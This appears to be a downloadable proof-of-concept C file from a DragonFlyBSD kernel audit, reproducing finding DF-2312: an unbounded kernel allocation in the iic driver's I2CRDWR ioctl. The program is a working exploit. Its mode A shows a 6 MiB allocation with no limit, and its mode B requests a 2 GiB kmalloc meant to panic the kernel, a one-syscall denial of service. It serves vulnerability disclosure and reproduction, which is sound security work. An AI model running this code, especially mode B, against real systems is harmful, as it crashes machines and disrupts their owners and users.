⬢ DragonFlyBSD Kernel Audit
DF-2312 / poc2312.c
← back to finding ↓ download raw
/*
 * DF-2312 PoC -- I2CRDWR (sys/bus/iicbus/iic.c:351-352) performs
 * kmalloc(16 * d->nmsgs) and kmalloc(8 * d->nmsgs) with M_WAITOK and NO
 * upper bound on the fully user-controlled u32 nmsgs.
 *
 * Phase A (moderate): nmsgs = 0x40000 (262144) -> 4 MiB + 2 MiB kernel
 *   allocations succeed (no cap); vmstat -m Temp shows the growth;
 *   copyin of the msgs array then fails (EFAULT) and everything is
 *   freed -- the point is the unbounded ALLOCATION, which succeeded.
 * Phase B (extreme, SEPARATE RUN -- panics): nmsgs = 0x8000000 ->
 *   16 * 0x8000000 = 2 GiB single kmalloc -> kmem panic
 *   ("kmem_malloc" / malloc failure) -> kernel panics: privileged
 *   one-syscall DoS.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

#ifndef IIC_H
#define IIC_H
#include <sys/ioccom.h>
#include <sys/types.h>
/* local copy of the iic ioctl ABI (sys/bus/iicbus/iic.h) */
struct iic_msg {
	uint16_t	slave;
	uint16_t	flags;
#define IIC_M_WR 0
#define IIC_M_RD 0x0001
	uint16_t	len;
	uint8_t		*buf;
};
struct iiccmd {
	u_char		slave;
	int		count;
	int		last;
	char		*buf;
};
struct iic_rdwr_data {
	struct iic_msg	*msgs;
	uint32_t	nmsgs;
};
#define I2CSTART	_IOW('i', 1, struct iiccmd)
#define I2CSTOP		_IO('i', 2)
#define I2CRSTCARD	_IOW('i', 3, struct iiccmd)
#define I2CWRITE	_IOW('i', 4, struct iiccmd)
#define I2CREAD		_IOW('i', 5, struct iiccmd)
#define I2CRDWR		_IOW('i', 6, struct iic_rdwr_data)
#define I2CRPTSTART	_IOW('i', 7, struct iiccmd)
#endif


int
main(int argc, char **argv)
{
	struct iic_rdwr_data d;
	unsigned long nmsgs;
	int fd;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2) {
		printf("usage: %s A|B   (A=4MiB-moderate, B=2GiB-panic)\n",
		    argv[0]);
		return (2);
	}
	fd = open("/dev/iic0", O_RDWR);
	if (fd < 0) {
		printf("DF2312: open FAILED %s\n", strerror(errno));
		return (1);
	}

	if (argv[1][0] == 'A') {
		/* moderate: allocation succeeds, copyin of msgs then EFAULTs
		 * (pointer NULL) -- proves the unbounded allocation itself */
		nmsgs = 0x40000;
		printf("DF2312-A: nmsgs=%lu -> kmalloc(%lu) + kmalloc(%lu) "
		    "M_WAITOK, no validation\n", nmsgs, 16 * nmsgs, 8 * nmsgs);
		printf("DF2312-A: vmstat -m Temp before: ");
		fflush(stdout);
		system("vmstat -m | grep -w Temp");
	} else {
		nmsgs = 0x8000000;
		printf("DF2312-B: nmsgs=%lu -> kmalloc(%lu) (%.1f GiB) "
		    "M_WAITOK -> expect kmem panic NOW\n", nmsgs, 16 * nmsgs,
		    (double)(16 * nmsgs) / (1 << 30));
	}

	d.msgs = NULL;			/* copyin will fail after alloc */
	d.nmsgs = (uint32_t)nmsgs;
	errno = 0;
	if (ioctl(fd, I2CRDWR, &d) < 0)
		printf("DF2312: I2CRDWR rc=-1 errno=%d (%s) -- allocation "
		    "was still attempted+performed first\n", errno,
		    strerror(errno));
	else
		printf("DF2312: I2CRDWR returned success?!\n");

	if (argv[1][0] == 'A') {
		printf("DF2312-A: vmstat -m Temp after: ");
		fflush(stdout);
		system("vmstat -m | grep -w Temp");
		printf("DF2312-A: REPRODUCED if the Temp allocation count "
		    "grew by 2 for a single unvalidated ioctl\n");
	}
	return (0);
}